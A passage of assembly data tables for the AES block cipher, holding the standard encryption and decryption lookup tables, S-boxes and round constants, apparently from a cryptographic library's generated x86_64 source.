DD 006020204h,006020204h
DD 0817f7ffeh,0817f7ffeh
DD 0f05050a0h,0f05050a0h
DD 0443c3c78h,0443c3c78h
DD 0ba9f9f25h,0ba9f9f25h
DD 0e3a8a84bh,0e3a8a84bh
DD 0f35151a2h,0f35151a2h
DD 0fea3a35dh,0fea3a35dh
DD 0c0404080h,0c0404080h
DD 08a8f8f05h,08a8f8f05h
DD 0ad92923fh,0ad92923fh
DD 0bc9d9d21h,0bc9d9d21h
DD 048383870h,048383870h
DD 004f5f5f1h,004f5f5f1h
DD 0dfbcbc63h,0dfbcbc63h
DD 0c1b6b677h,0c1b6b677h
DD 075dadaafh,075dadaafh
DD 063212142h,063212142h
DD 030101020h,030101020h
DD 01affffe5h,01affffe5h
DD 00ef3f3fdh,00ef3f3fdh
DD 06dd2d2bfh,06dd2d2bfh
DD 04ccdcd81h,04ccdcd81h
DD 0140c0c18h,0140c0c18h
DD 035131326h,035131326h
DD 02fececc3h,02fececc3h
DD 0e15f5fbeh,0e15f5fbeh
DD 0a2979735h,0a2979735h
DD 0cc444488h,0cc444488h
DD 03917172eh,03917172eh
DD 057c4c493h,057c4c493h
DD 0f2a7a755h,0f2a7a755h
DD 0827e7efch,0827e7efch
DD 0473d3d7ah,0473d3d7ah
DD 0ac6464c8h,0ac6464c8h
DD 0e75d5dbah,0e75d5dbah
DD 02b191932h,02b191932h
DD 0957373e6h,0957373e6h
DD 0a06060c0h,0a06060c0h
DD 098818119h,098818119h
DD 0d14f4f9eh,0d14f4f9eh
DD 07fdcdca3h,07fdcdca3h
DD 066222244h,066222244h
DD 07e2a2a54h,07e2a2a54h
DD 0ab90903bh,0ab90903bh
DD 08388880bh,08388880bh
DD 0ca46468ch,0ca46468ch
DD 029eeeec7h,029eeeec7h
DD 0d3b8b86bh,0d3b8b86bh
DD 03c141428h,03c141428h
DD 079dedea7h,079dedea7h
DD 0e25e5ebch,0e25e5ebch
DD 01d0b0b16h,01d0b0b16h
DD 076dbdbadh,076dbdbadh
DD 03be0e0dbh,03be0e0dbh
DD 056323264h,056323264h
DD 04e3a3a74h,04e3a3a74h
DD 01e0a0a14h,01e0a0a14h
DD 0db494992h,0db494992h
DD 00a06060ch,00a06060ch
DD 06c242448h,06c242448h
DD 0e45c5cb8h,0e45c5cb8h
DD 05dc2c29fh,05dc2c29fh
DD 06ed3d3bdh,06ed3d3bdh
DD 0efacac43h,0efacac43h
DD 0a66262c4h,0a66262c4h
DD 0a8919139h,0a8919139h
DD 0a4959531h,0a4959531h
DD 037e4e4d3h,037e4e4d3h
DD 08b7979f2h,08b7979f2h
DD 032e7e7d5h,032e7e7d5h
DD 043c8c88bh,043c8c88bh
DD 05937376eh,05937376eh
DD 0b76d6ddah,0b76d6ddah
DD 08c8d8d01h,08c8d8d01h
DD 064d5d5b1h,064d5d5b1h
DD 0d24e4e9ch,0d24e4e9ch
DD 0e0a9a949h,0e0a9a949h
DD 0b46c6cd8h,0b46c6cd8h
DD 0fa5656ach,0fa5656ach
DD 007f4f4f3h,007f4f4f3h
DD 025eaeacfh,025eaeacfh
DD 0af6565cah,0af6565cah
DD 08e7a7af4h,08e7a7af4h
DD 0e9aeae47h,0e9aeae47h
DD 018080810h,018080810h
DD 0d5baba6fh,0d5baba6fh
DD 0887878f0h,0887878f0h
DD 06f25254ah,06f25254ah
DD 0722e2e5ch,0722e2e5ch
DD 0241c1c38h,0241c1c38h
DD 0f1a6a657h,0f1a6a657h
DD 0c7b4b473h,0c7b4b473h
DD 051c6c697h,051c6c697h
DD 023e8e8cbh,023e8e8cbh
DD 07cdddda1h,07cdddda1h
DD 09c7474e8h,09c7474e8h
DD 0211f1f3eh,0211f1f3eh
DD 0dd4b4b96h,0dd4b4b96h
DD 0dcbdbd61h,0dcbdbd61h
DD 0868b8b0dh,0868b8b0dh
DD 0858a8a0fh,0858a8a0fh
DD 0907070e0h,0907070e0h
DD 0423e3e7ch,0423e3e7ch
DD 0c4b5b571h,0c4b5b571h
DD 0aa6666cch,0aa6666cch
DD 0d8484890h,0d8484890h
DD 005030306h,005030306h
DD 001f6f6f7h,001f6f6f7h
DD 0120e0e1ch,0120e0e1ch
DD 0a36161c2h,0a36161c2h
DD 05f35356ah,05f35356ah
DD 0f95757aeh,0f95757aeh
DD 0d0b9b969h,0d0b9b969h
DD 091868617h,091868617h
DD 058c1c199h,058c1c199h
DD 0271d1d3ah,0271d1d3ah
DD 0b99e9e27h,0b99e9e27h
DD 038e1e1d9h,038e1e1d9h
DD 013f8f8ebh,013f8f8ebh
DD 0b398982bh,0b398982bh
DD 033111122h,033111122h
DD 0bb6969d2h,0bb6969d2h
DD 070d9d9a9h,070d9d9a9h
DD 0898e8e07h,0898e8e07h
DD 0a7949433h,0a7949433h
DD 0b69b9b2dh,0b69b9b2dh
DD 0221e1e3ch,0221e1e3ch
DD 092878715h,092878715h
DD 020e9e9c9h,020e9e9c9h
DD 049cece87h,049cece87h
DD 0ff5555aah,0ff5555aah
DD 078282850h,078282850h
DD 07adfdfa5h,07adfdfa5h
DD 08f8c8c03h,08f8c8c03h
DD 0f8a1a159h,0f8a1a159h
DD 080898909h,080898909h
DD 0170d0d1ah,0170d0d1ah
DD 0dabfbf65h,0dabfbf65h
DD 031e6e6d7h,031e6e6d7h
DD 0c6424284h,0c6424284h
DD 0b86868d0h,0b86868d0h
DD 0c3414182h,0c3414182h
DD 0b0999929h,0b0999929h
DD 0772d2d5ah,0772d2d5ah
DD 0110f0f1eh,0110f0f1eh
DD 0cbb0b07bh,0cbb0b07bh
DD 0fc5454a8h,0fc5454a8h
DD 0d6bbbb6dh,0d6bbbb6dh
DD 03a16162ch,03a16162ch
DB 063h,07ch,077h,07bh,0f2h,06bh,06fh,0c5h
DB 030h,001h,067h,02bh,0feh,0d7h,0abh,076h
DB 0cah,082h,0c9h,07dh,0fah,059h,047h,0f0h
DB 0adh,0d4h,0a2h,0afh,09ch,0a4h,072h,0c0h
DB 0b7h,0fdh,093h,026h,036h,03fh,0f7h,0cch
DB 034h,0a5h,0e5h,0f1h,071h,0d8h,031h,015h
DB 004h,0c7h,023h,0c3h,018h,096h,005h,09ah
DB 007h,012h,080h,0e2h,0ebh,027h,0b2h,075h
DB 009h,083h,02ch,01ah,01bh,06eh,05ah,0a0h
DB 052h,03bh,0d6h,0b3h,029h,0e3h,02fh,084h
DB 053h,0d1h,000h,0edh,020h,0fch,0b1h,05bh
DB 06ah,0cbh,0beh,039h,04ah,04ch,058h,0cfh
DB 0d0h,0efh,0aah,0fbh,043h,04dh,033h,085h
DB 045h,0f9h,002h,07fh,050h,03ch,09fh,0a8h
DB 051h,0a3h,040h,08fh,092h,09dh,038h,0f5h
DB 0bch,0b6h,0dah,021h,010h,0ffh,0f3h,0d2h
DB 0cdh,00ch,013h,0ech,05fh,097h,044h,017h
DB 0c4h,0a7h,07eh,03dh,064h,05dh,019h,073h
DB 060h,081h,04fh,0dch,022h,02ah,090h,088h
DB 046h,0eeh,0b8h,014h,0deh,05eh,00bh,0dbh
DB 0e0h,032h,03ah,00ah,049h,006h,024h,05ch
DB 0c2h,0d3h,0ach,062h,091h,095h,0e4h,079h
DB 0e7h,0c8h,037h,06dh,08dh,0d5h,04eh,0a9h
DB 06ch,056h,0f4h,0eah,065h,07ah,0aeh,008h
DB 0bah,078h,025h,02eh,01ch,0a6h,0b4h,0c6h
DB 0e8h,0ddh,074h,01fh,04bh,0bdh,08bh,08ah
DB 070h,03eh,0b5h,066h,048h,003h,0f6h,00eh
DB 061h,035h,057h,0b9h,086h,0c1h,01dh,09eh
DB 0e1h,0f8h,098h,011h,069h,0d9h,08eh,094h
DB 09bh,01eh,087h,0e9h,0ceh,055h,028h,0dfh
DB 08ch,0a1h,089h,00dh,0bfh,0e6h,042h,068h
DB 041h,099h,02dh,00fh,0b0h,054h,0bbh,016h
DB 063h,07ch,077h,07bh,0f2h,06bh,06fh,0c5h
DB 030h,001h,067h,02bh,0feh,0d7h,0abh,076h
DB 0cah,082h,0c9h,07dh,0fah,059h,047h,0f0h
DB 0adh,0d4h,0a2h,0afh,09ch,0a4h,072h,0c0h
DB 0b7h,0fdh,093h,026h,036h,03fh,0f7h,0cch
DB 034h,0a5h,0e5h,0f1h,071h,0d8h,031h,015h
DB 004h,0c7h,023h,0c3h,018h,096h,005h,09ah
DB 007h,012h,080h,0e2h,0ebh,027h,0b2h,075h
DB 009h,083h,02ch,01ah,01bh,06eh,05ah,0a0h
DB 052h,03bh,0d6h,0b3h,029h,0e3h,02fh,084h
DB 053h,0d1h,000h,0edh,020h,0fch,0b1h,05bh
DB 06ah,0cbh,0beh,039h,04ah,04ch,058h,0cfh
DB 0d0h,0efh,0aah,0fbh,043h,04dh,033h,085h
DB 045h,0f9h,002h,07fh,050h,03ch,09fh,0a8h
DB 051h,0a3h,040h,08fh,092h,09dh,038h,0f5h
DB 0bch,0b6h,0dah,021h,010h,0ffh,0f3h,0d2h
DB 0cdh,00ch,013h,0ech,05fh,097h,044h,017h
DB 0c4h,0a7h,07eh,03dh,064h,05dh,019h,073h
DB 060h,081h,04fh,0dch,022h,02ah,090h,088h
DB 046h,0eeh,0b8h,014h,0deh,05eh,00bh,0dbh
DB 0e0h,032h,03ah,00ah,049h,006h,024h,05ch
DB 0c2h,0d3h,0ach,062h,091h,095h,0e4h,079h
DB 0e7h,0c8h,037h,06dh,08dh,0d5h,04eh,0a9h
DB 06ch,056h,0f4h,0eah,065h,07ah,0aeh,008h
DB 0bah,078h,025h,02eh,01ch,0a6h,0b4h,0c6h
DB 0e8h,0ddh,074h,01fh,04bh,0bdh,08bh,08ah
DB 070h,03eh,0b5h,066h,048h,003h,0f6h,00eh
DB 061h,035h,057h,0b9h,086h,0c1h,01dh,09eh
DB 0e1h,0f8h,098h,011h,069h,0d9h,08eh,094h
DB 09bh,01eh,087h,0e9h,0ceh,055h,028h,0dfh
DB 08ch,0a1h,089h,00dh,0bfh,0e6h,042h,068h
DB 041h,099h,02dh,00fh,0b0h,054h,0bbh,016h
DB 063h,07ch,077h,07bh,0f2h,06bh,06fh,0c5h
DB 030h,001h,067h,02bh,0feh,0d7h,0abh,076h
DB 0cah,082h,0c9h,07dh,0fah,059h,047h,0f0h
DB 0adh,0d4h,0a2h,0afh,09ch,0a4h,072h,0c0h
DB 0b7h,0fdh,093h,026h,036h,03fh,0f7h,0cch
DB 034h,0a5h,0e5h,0f1h,071h,0d8h,031h,015h
DB 004h,0c7h,023h,0c3h,018h,096h,005h,09ah
DB 007h,012h,080h,0e2h,0ebh,027h,0b2h,075h
DB 009h,083h,02ch,01ah,01bh,06eh,05ah,0a0h
DB 052h,03bh,0d6h,0b3h,029h,0e3h,02fh,084h
DB 053h,0d1h,000h,0edh,020h,0fch,0b1h,05bh
DB 06ah,0cbh,0beh,039h,04ah,04ch,058h,0cfh
DB 0d0h,0efh,0aah,0fbh,043h,04dh,033h,085h
DB 045h,0f9h,002h,07fh,050h,03ch,09fh,0a8h
DB 051h,0a3h,040h,08fh,092h,09dh,038h,0f5h
DB 0bch,0b6h,0dah,021h,010h,0ffh,0f3h,0d2h
DB 0cdh,00ch,013h,0ech,05fh,097h,044h,017h
DB 0c4h,0a7h,07eh,03dh,064h,05dh,019h,073h
DB 060h,081h,04fh,0dch,022h,02ah,090h,088h
DB 046h,0eeh,0b8h,014h,0deh,05eh,00bh,0dbh
DB 0e0h,032h,03ah,00ah,049h,006h,024h,05ch
DB 0c2h,0d3h,0ach,062h,091h,095h,0e4h,079h
DB 0e7h,0c8h,037h,06dh,08dh,0d5h,04eh,0a9h
DB 06ch,056h,0f4h,0eah,065h,07ah,0aeh,008h
DB 0bah,078h,025h,02eh,01ch,0a6h,0b4h,0c6h
DB 0e8h,0ddh,074h,01fh,04bh,0bdh,08bh,08ah
DB 070h,03eh,0b5h,066h,048h,003h,0f6h,00eh
DB 061h,035h,057h,0b9h,086h,0c1h,01dh,09eh
DB 0e1h,0f8h,098h,011h,069h,0d9h,08eh,094h
DB 09bh,01eh,087h,0e9h,0ceh,055h,028h,0dfh
DB 08ch,0a1h,089h,00dh,0bfh,0e6h,042h,068h
DB 041h,099h,02dh,00fh,0b0h,054h,0bbh,016h
DB 063h,07ch,077h,07bh,0f2h,06bh,06fh,0c5h
DB 030h,001h,067h,02bh,0feh,0d7h,0abh,076h
DB 0cah,082h,0c9h,07dh,0fah,059h,047h,0f0h
DB 0adh,0d4h,0a2h,0afh,09ch,0a4h,072h,0c0h
DB 0b7h,0fdh,093h,026h,036h,03fh,0f7h,0cch
DB 034h,0a5h,0e5h,0f1h,071h,0d8h,031h,015h
DB 004h,0c7h,023h,0c3h,018h,096h,005h,09ah
DB 007h,012h,080h,0e2h,0ebh,027h,0b2h,075h
DB 009h,083h,02ch,01ah,01bh,06eh,05ah,0a0h
DB 052h,03bh,0d6h,0b3h,029h,0e3h,02fh,084h
DB 053h,0d1h,000h,0edh,020h,0fch,0b1h,05bh
DB 06ah,0cbh,0beh,039h,04ah,04ch,058h,0cfh
DB 0d0h,0efh,0aah,0fbh,043h,04dh,033h,085h
DB 045h,0f9h,002h,07fh,050h,03ch,09fh,0a8h
DB 051h,0a3h,040h,08fh,092h,09dh,038h,0f5h
DB 0bch,0b6h,0dah,021h,010h,0ffh,0f3h,0d2h
DB 0cdh,00ch,013h,0ech,05fh,097h,044h,017h
DB 0c4h,0a7h,07eh,03dh,064h,05dh,019h,073h
DB 060h,081h,04fh,0dch,022h,02ah,090h,088h
DB 046h,0eeh,0b8h,014h,0deh,05eh,00bh,0dbh
DB 0e0h,032h,03ah,00ah,049h,006h,024h,05ch
DB 0c2h,0d3h,0ach,062h,091h,095h,0e4h,079h
DB 0e7h,0c8h,037h,06dh,08dh,0d5h,04eh,0a9h
DB 06ch,056h,0f4h,0eah,065h,07ah,0aeh,008h
DB 0bah,078h,025h,02eh,01ch,0a6h,0b4h,0c6h
DB 0e8h,0ddh,074h,01fh,04bh,0bdh,08bh,08ah
DB 070h,03eh,0b5h,066h,048h,003h,0f6h,00eh
DB 061h,035h,057h,0b9h,086h,0c1h,01dh,09eh
DB 0e1h,0f8h,098h,011h,069h,0d9h,08eh,094h
DB 09bh,01eh,087h,0e9h,0ceh,055h,028h,0dfh
DB 08ch,0a1h,089h,00dh,0bfh,0e6h,042h,068h
DB 041h,099h,02dh,00fh,0b0h,054h,0bbh,016h
DD 000000001h,000000002h,000000004h,000000008h
DD 000000010h,000000020h,000000040h,000000080h
DD 00000001bh,000000036h,080808080h,080808080h
DD 0fefefefeh,0fefefefeh,01b1b1b1bh,01b1b1b1bh
ALIGN 64
$L$AES_Td::
DD 050a7f451h,050a7f451h
DD 05365417eh,05365417eh
DD 0c3a4171ah,0c3a4171ah
DD 0965e273ah,0965e273ah
DD 0cb6bab3bh,0cb6bab3bh
DD 0f1459d1fh,0f1459d1fh
DD 0ab58faach,0ab58faach
DD 09303e34bh,09303e34bh
DD 055fa3020h,055fa3020h
DD 0f66d76adh,0f66d76adh
DD 09176cc88h,09176cc88h
DD 0254c02f5h,0254c02f5h
DD 0fcd7e54fh,0fcd7e54fh
DD 0d7cb2ac5h,0d7cb2ac5h
DD 080443526h,080443526h
DD 08fa362b5h,08fa362b5h
DD 0495ab1deh,0495ab1deh
DD 0671bba25h,0671bba25h
DD 0980eea45h,0980eea45h
DD 0e1c0fe5dh,0e1c0fe5dh
DD 002752fc3h,002752fc3h
DD 012f04c81h,012f04c81h
DD 0a397468dh,0a397468dh
DD 0c6f9d36bh,0c6f9d36bh
DD 0e75f8f03h,0e75f8f03h
DD 0959c9215h,0959c9215h
DD 0eb7a6dbfh,0eb7a6dbfh
DD 0da595295h,0da595295h
DD 02d83bed4h,02d83bed4h
DD 0d3217458h,0d3217458h
DD 02969e049h,02969e049h
DD 044c8c98eh,044c8c98eh
DD 06a89c275h,06a89c275h
DD 078798ef4h,078798ef4h
DD 06b3e5899h,06b3e5899h
DD 0dd71b927h,0dd71b927h
DD 0b64fe1beh,0b64fe1beh
DD 017ad88f0h,017ad88f0h
DD 066ac20c9h,066ac20c9h
DD 0b43ace7dh,0b43ace7dh
DD 0184adf63h,0184adf63h
DD 082311ae5h,082311ae5h
DD 060335197h,060335197h
DD 0457f5362h,0457f5362h
DD 0e07764b1h,0e07764b1h
DD 084ae6bbbh,084ae6bbbh
DD 01ca081feh,01ca081feh
DD 0942b08f9h,0942b08f9h
DD 058684870h,058684870h
DD 019fd458fh,019fd458fh
DD 0876cde94h,0876cde94h
DD 0b7f87b52h,0b7f87b52h
DD 023d373abh,023d373abh
DD 0e2024b72h,0e2024b72h
DD 0578f1fe3h,0578f1fe3h
DD 02aab5566h,02aab5566h
DD 00728ebb2h,00728ebb2h
DD 003c2b52fh,003c2b52fh
DD 09a7bc586h,09a7bc586h
DD 0a50837d3h,0a50837d3h
DD 0f2872830h,0f2872830h
DD 0b2a5bf23h,0b2a5bf23h
DD 0ba6a0302h,0ba6a0302h
DD 05c8216edh,05c8216edh
DD 02b1ccf8ah,02b1ccf8ah
DD 092b479a7h,092b479a7h
DD 0f0f207f3h,0f0f207f3h
DD 0a1e2694eh,0a1e2694eh
DD 0cdf4da65h,0cdf4da65h
DD 0d5be0506h,0d5be0506h
DD 01f6234d1h,01f6234d1h
DD 08afea6c4h,08afea6c4h
DD 09d532e34h,09d532e34h
DD 0a055f3a2h,0a055f3a2h
DD 032e18a05h,032e18a05h
DD 075ebf6a4h,075ebf6a4h
DD 039ec830bh,039ec830bh
DD 0aaef6040h,0aaef6040h
DD 0069f715eh,0069f715eh
DD 051106ebdh,051106ebdh
DD 0f98a213eh,0f98a213eh
DD 03d06dd96h,03d06dd96h
DD 0ae053eddh,0ae053eddh
DD 046bde64dh,046bde64dh
DD 0b58d5491h,0b58d5491h
DD 0055dc471h,0055dc471h
DD 06fd40604h,06fd40604h
DD 0ff155060h,0ff155060h
DD 024fb9819h,024fb9819h
DD 097e9bdd6h,097e9bdd6h
DD 0cc434089h,0cc434089h
DD 0779ed967h,0779ed967h
DD 0bd42e8b0h,0bd42e8b0h
DD 0888b8907h,0888b8907h
DD 0385b19e7h,0385b19e7h
DD 0dbeec879h,0dbeec879h
DD 0470a7ca1h,0470a7ca1h
DD 0e90f427ch,0e90f427ch
DD 0c91e84f8h,0c91e84f8h
DD 000000000h,000000000h
DD 083868009h,083868009h
DD 048ed2b32h,048ed2b32h
DD 0ac70111eh,0ac70111eh
DD 04e725a6ch,04e725a6ch
DD 0fbff0efdh,0fbff0efdh
DD 05638850fh,05638850fh
DD 01ed5ae3dh,01ed5ae3dh
DD 027392d36h,027392d36h
DD 064d90f0ah,064d90f0ah
DD 021a65c68h,021a65c68h
DD 0d1545b9bh,0d1545b9bh
DD 03a2e3624h,03a2e3624h
DD 0b1670a0ch,0b1670a0ch
DD 00fe75793h,00fe75793h
DD 0d296eeb4h,0d296eeb4h
DD 09e919b1bh,09e919b1bh
DD 04fc5c080h,04fc5c080h
DD 0a220dc61h,0a220dc61h
DD 0694b775ah,0694b775ah
DD 0161a121ch,0161a121ch
DD 00aba93e2h,00aba93e2h
DD 0e52aa0c0h,0e52aa0c0h
DD 043e0223ch,043e0223ch
DD 01d171b12h,01d171b12h
DD 00b0d090eh,00b0d090eh
DD 0adc78bf2h,0adc78bf2h
DD 0b9a8b62dh,0b9a8b62dh
DD 0c8a91e14h,0c8a91e14h
DD 08519f157h,08519f157h
DD 04c0775afh,04c0775afh
DD 0bbdd99eeh,0bbdd99eeh
DD 0fd607fa3h,0fd607fa3h
DD 09f2601f7h,09f2601f7h
DD 0bcf5725ch,0bcf5725ch
DD 0c53b6644h,0c53b6644h
DD 0347efb5bh,0347efb5bh
DD 07629438bh,07629438bh
DD 0dcc623cbh,0dcc623cbh
DD 068fcedb6h,068fcedb6h
DD 063f1e4b8h,063f1e4b8h
DD 0cadc31d7h,0cadc31d7h
DD 010856342h,010856342h
DD 040229713h,040229713h
DD 02011c684h,02011c684h
DD 07d244a85h,07d244a85h
DD 0f83dbbd2h,0f83dbbd2h
DD 01132f9aeh,01132f9aeh
DD 06da129c7h,06da129c7h
DD 04b2f9e1dh,04b2f9e1dh
DD 0f330b2dch,0f330b2dch
DD 0ec52860dh,0ec52860dh
DD 0d0e3c177h,0d0e3c177h
DD 06c16b32bh,06c16b32bh
DD 099b970a9h,099b970a9h
DD 0fa489411h,0fa489411h
DD 02264e947h,02264e947h
DD 0c48cfca8h,0c48cfca8h
DD 01a3ff0a0h,01a3ff0a0h
DD 0d82c7d56h,0d82c7d56h
DD 0ef903322h,0ef903322h
DD 0c74e4987h,0c74e4987h
DD 0c1d138d9h,0c1d138d9h
DD 0fea2ca8ch,0fea2ca8ch
DD 0360bd498h,0360bd498h
DD 0cf81f5a6h,0cf81f5a6h
DD 028de7aa5h,028de7aa5h
DD 0268eb7dah,0268eb7dah
DD 0a4bfad3fh,0a4bfad3fh
DD 0e49d3a2ch,0e49d3a2ch
DD 00d927850h,00d927850h
DD 09bcc5f6ah,09bcc5f6ah
DD 062467e54h,062467e54h
DD 0c2138df6h,0c2138df6h
DD 0e8b8d890h,0e8b8d890h
DD 05ef7392eh,05ef7392eh
DD 0f5afc382h,0f5afc382h
DD 0be805d9fh,0be805d9fh
DD 07c93d069h,07c93d069h
DD 0a92dd56fh,0a92dd56fh
DD 0b31225cfh,0b31225cfh
DD 03b99acc8h,03b99acc8h
DD 0a77d1810h,0a77d1810h
DD 06e639ce8h,06e639ce8h
DD 07bbb3bdbh,07bbb3bdbh
DD 0097826cdh,0097826cdh
DD 0f418596eh,0f418596eh
DD 001b79aech,001b79aech
DD 0a89a4f83h,0a89a4f83h
DD 0656e95e6h,0656e95e6h
DD 07ee6ffaah,07ee6ffaah
DD 008cfbc21h,008cfbc21h
DD 0e6e815efh,0e6e815efh
DD 0d99be7bah,0d99be7bah
DD 0ce366f4ah,0ce366f4ah
DD 0d4099feah,0d4099feah
DD 0d67cb029h,0d67cb029h
DD 0afb2a431h,0afb2a431h
DD 031233f2ah,031233f2ah
DD 03094a5c6h,03094a5c6h
DD 0c066a235h,0c066a235h
DD 037bc4e74h,037bc4e74h
DD 0a6ca82fch,0a6ca82fch
DD 0b0d090e0h,0b0d090e0h
DD 015d8a733h,015d8a733h
DD 04a9804f1h,04a9804f1h
DD 0f7daec41h,0f7daec41h
DD 00e50cd7fh,00e50cd7fh
DD 02ff69117h,02ff69117h
DD 08dd64d76h,08dd64d76h
DD 04db0ef43h,04db0ef43h
DD 0544daacch,0544daacch
DD 0df0496e4h,0df0496e4h
DD 0e3b5d19eh,0e3b5d19eh
DD 01b886a4ch,01b886a4ch
DD 0b81f2cc1h,0b81f2cc1h
DD 07f516546h,07f516546h
DD 004ea5e9dh,004ea5e9dh
DD 05d358c01h,05d358c01h
DD 0737487fah,0737487fah
DD 02e410bfbh,02e410bfbh
DD 05a1d67b3h,05a1d67b3h
DD 052d2db92h,052d2db92h
DD 0335610e9h,0335610e9h
DD 01347d66dh,01347d66dh
DD 08c61d79ah,08c61d79ah
DD 07a0ca137h,07a0ca137h
DD 08e14f859h,08e14f859h
DD 0893c13ebh,0893c13ebh
DD 0ee27a9ceh,0ee27a9ceh
DD 035c961b7h,035c961b7h
DD 0ede51ce1h,0ede51ce1h
DD 03cb1477ah,03cb1477ah
DD 059dfd29ch,059dfd29ch
DD 03f73f255h,03f73f255h
DD 079ce1418h,079ce1418h
DD 0bf37c773h,0bf37c773h
DD 0eacdf753h,0eacdf753h
DD 05baafd5fh,05baafd5fh
DD 0146f3ddfh,0146f3ddfh
DD 086db4478h,086db4478h
DD 081f3afcah,081f3afcah
DD 03ec468b9h,03ec468b9h
DD 02c342438h,02c342438h
DD 05f40a3c2h,05f40a3c2h
DD 072c31d16h,072c31d16h
DD 00c25e2bch,00c25e2bch
DD 08b493c28h,08b493c28h
DD 041950dffh,041950dffh
DD 07101a839h,07101a839h
DD 0deb30c08h,0deb30c08h
DD 09ce4b4d8h,09ce4b4d8h
DD 090c15664h,090c15664h
DD 06184cb7bh,06184cb7bh
DD 070b632d5h,070b632d5h
DD 0745c6c48h,0745c6c48h
DD 04257b8d0h,04257b8d0h
DB 052h,009h,06ah,0d5h,030h,036h,0a5h,038h
DB 0bfh,040h,0a3h,09eh,081h,0f3h,0d7h,0fbh
DB 07ch,0e3h,039h,082h,09bh,02fh,0ffh,087h
DB 034h,08eh,043h,044h,0c4h,0deh,0e9h,0cbh
DB 054h,07bh,094h,032h,0a6h,0c2h,023h,03dh
DB 0eeh,04ch,095h,00bh,042h,0fah,0c3h,04eh
DB 008h,02eh,0a1h,066h,028h,0d9h,024h,0b2h
DB 076h,05bh,0a2h,049h,06dh,08bh,0d1h,025h
DB 072h,0f8h,0f6h,064h,086h,068h,098h,016h
DB 0d4h,0a4h,05ch,0cch,05dh,065h,0b6h,092h
DB 06ch,070h,048h,050h,0fdh,0edh,0b9h,0dah
DB 05eh,015h,046h,057h,0a7h,08dh,09dh,084h
DB 090h,0d8h,0abh,000h,08ch,0bch,0d3h,00ah
DB 0f7h,0e4h,058h,005h,0b8h,0b3h,045h,006h
DB 0d0h,02ch,01eh,08fh,0cah,03fh,00fh,002h
DB 0c1h,0afh,0bdh,003h,001h,013h,08ah,06bh
DB 03ah,091h,011h,041h,04fh,067h,0dch,0eah
DB 097h,0f2h,0cfh,0ceh,0f0h,0b4h,0e6h,073h
DB 096h,0ach,074h,022h,0e7h,0adh,035h,085h
DB 0e2h,0f9h,037h,0e8h,01ch,075h,0dfh,06eh
DB 047h,0f1h,01ah,071h,01dh,029h,0c5h,089h
DB 06fh,0b7h,062h,00eh,0aah,018h,0beh,01bh
DB 0fch,056h,03eh,04bh,0c6h,0d2h,079h,020h
DB 09ah,0dbh,0c0h,0feh,078h,0cdh,05ah,0f4h
DB 01fh,0ddh,0a8h,033h,088h,007h,0c7h,031h
DB 0b1h,012h,010h,059h,027h,080h,0ech,05fh
DB 060h,051h,07fh,0a9h,019h,0b5h,04ah,00dh
DB 02dh,0e5h,07ah,09fh,093h,0c9h,09ch,0efh
DB 0a0h,0e0h,03bh,04dh,0aeh,02ah,0f5h,0b0h
DB 0c8h,0ebh,0bbh,03ch,083h,053h,099h,061h
DB 017h,02bh,004h,07eh,0bah,077h,0d6h,026h
DB 0e1h,069h,014h,063h,055h,021h,00ch,07dh
DD 080808080h,080808080h,0fefefefeh,0fefefefeh
DD 01b1b1b1bh,01b1b1b1bh,0,0
DB 052h,009h,06ah,0d5h,030h,036h,0a5h,038h
DB 0bfh,040h,0a3h,09eh,081h,0f3h,0d7h,0fbh
DB 07ch,0e3h,039h,082h,09bh,02fh,0ffh,087h
DB 034h,08eh,043h,044h,0c4h,0deh,0e9h,0cbh
DB 054h,07bh,094h,032h,0a6h,0c2h,023h,03dh
DB 0eeh,04ch,095h,00bh,042h,0fah,0c3h,04eh
DB 008h,02eh,0a1h,066h,028h,0d9h,024h,0b2h
DB 076h,05bh,0a2h,049h,06dh,08bh,0d1h,025h
DB 072h,0f8h,0f6h,064h,086h,068h,098h,016h
DB 0d4h,0a4h,05ch,0cch,05dh,065h,0b6h,092h
DB 06ch,070h,048h,050h,0fdh,0edh,0b9h,0dah
DB 05eh,015h,046h,057h,0a7h,08dh,09dh,084h
DB 090h,0d8h,0abh,000h,08ch,0bch,0d3h,00ah
DB 0f7h,0e4h,058h,005h,0b8h,0b3h,045h,006h
DB 0d0h,02ch,01eh,08fh,0cah,03fh,00fh,002h
DB 0c1h,0afh,0bdh,003h,001h,013h,08ah,06bh
DB 03ah,091h,011h,041h,04fh,067h,0dch,0eah
DB 097h,0f2h,0cfh,0ceh,0f0h,0b4h,0e6h,073h
DB 096h,0ach,074h,022h,0e7h,0adh,035h,085h
DB 0e2h,0f9h,037h,0e8h,01ch,075h,0dfh,06eh
DB 047h,0f1h,01ah,071h,01dh,029h,0c5h,089h
DB 06fh,0b7h,062h,00eh,0aah,018h,0beh,01bh
DB 0fch,056h,03eh,04bh,0c6h,0d2h,079h,020h
DB 09ah,0dbh,0c0h,0feh,078h,0cdh,05ah,0f4h
DB 01fh,0ddh,0a8h,033h,088h,007h,0c7h,031h
DB 0b1h,012h,010h,059h,027h,080h,0ech,05fh
DB 060h,051h,07fh,0a9h,019h,0b5h,04ah,00dh
DB 02dh,0e5h,07ah,09fh,093h,0c9h,09ch,0efh
DB 0a0h,0e0h,03bh,04dh,0aeh,02ah,0f5h,0b0h
DB 0c8h,0ebh,0bbh,03ch,083h,053h,099h,061h
DB 017h,02bh,004h,07eh,0bah,077h,0d6h,026h
DB 0e1h,069h,014h,063h,055h,021h,00ch,07dh
DD 080808080h,080808080h,0fefefefeh,0fefefefeh
DD 01b1b1b1bh,01b1b1b1bh,0,0
DB 052h,009h,06ah,0d5h,030h,036h,0a5h,038h
DB 0bfh,040h,0a3h,09eh,081h,0f3h,0d7h,0fbh
DB 07ch,0e3h,039h,082h,09bh,02fh,0ffh,087h
DB 034h,08eh,043h,044h,0c4h,0deh,0e9h,0cbh
DB 054h,07bh,094h,032h,0a6h,0c2h,023h,03dh
DB 0eeh,04ch,095h,00bh,042h,0fah,0c3h,04eh
DB 008h,02eh,0a1h,066h,028h,0d9h,024h,0b2h
DB 076h,05bh,0a2h,049h,06dh,08bh,0d1h,025h
DB 072h,0f8h,0f6h,064h,086h,068h,098h,016h
DB 0d4h,0a4h,05ch,0cch,05dh,065h,0b6h,092h
DB 06ch,070h,048h,050h,0fdh,0edh,0b9h,0dah
DB 05eh,015h,046h,057h,0a7h,08dh,09dh,084h
DB 090h,0d8h,0abh,000h,08ch,0bch,0d3h,00ah
DB 0f7h,0e4h,058h,005h,0b8h,0b3h,045h,006h
DB 0d0h,02ch,01eh,08fh,0cah,03fh,00fh,002h
